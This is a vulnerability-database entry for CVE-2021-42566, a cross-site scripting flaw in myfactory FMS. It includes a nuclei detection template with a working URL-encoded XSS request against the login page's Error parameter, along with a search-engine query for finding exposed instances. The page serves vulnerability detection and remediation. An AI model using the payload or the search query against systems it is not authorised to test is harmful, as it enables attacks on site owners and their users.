Browse / CVEs / CVE-2021-42566
CVE-2021-42566· myfactory / fms· CWE-79
myfactory FMS - Cross-Site Scripting
mediumseverity
6.1CVSS score
5.8%likelihood of exploitation, next 30 days
93%of all CVEs are less likely
Readycheck to confirm it
myfactory.FMS before 7.1-912 allows cross-site scripting via the Error parameter.
Impact
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
Fix
Upgrade to the latest version to mitigate this vulnerability.
How to confirm it
Send: GET {{BaseURL}}/ie50/system/login/SysLoginUser.aspx?Login=Error&Error=%27%29%3Balert%28document%2Edomain%29%3B%2F%2F
Positive when: contains ";alert(document.domain);" and "name=\"txtUID\"" and "function mOnLoad()" AND contains in header "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2021-42566 -u <target>
The full check
id: CVE-2021-42566
info:
name: myfactory FMS - Cross-Site Scripting
author: madrobot,daffainfo
severity: medium
description: |
myfactory.FMS before 7.1-912 allows cross-site scripting via the Error parameter.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Upgrade to the latest version to mitigate this vulnerability.
reference:
- https://www.redteam-pentesting.de/advisories/rt-sa-2021-001
- https://nvd.nist.gov/vuln/detail/CVE-2021-42566
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-42566
cwe-id: CWE-79
epss-score: 0.05832
epss-percentile: 0.93226
cpe: cpe:2.3:a:myfactory:fms:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: myfactory
product: fms
google-query: inurl:ie50/system/ intitle:"myfactory"
tags: cve,cve2021,myfactory,xss,vuln
http:
- method: GET
path:
- '{{BaseURL}}/ie50/system/login/SysLoginUser.aspx?Login=Error&Error=%27%29%3Balert%28document%2Edomain%29%3B%2F%2F'
matchers-condition: and
matchers:
- type: word
part: body
words:
- ';alert(document.domain);'
- 'name="txtUID"'
- 'function mOnLoad()'
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200References
- https://www.redteam-pentesting.de/advisories/rt-sa-2021-001
- https://nvd.nist.gov/vuln/detail/CVE-2021-42566
Use this check only on systems you are authorised to test. Where the data comes from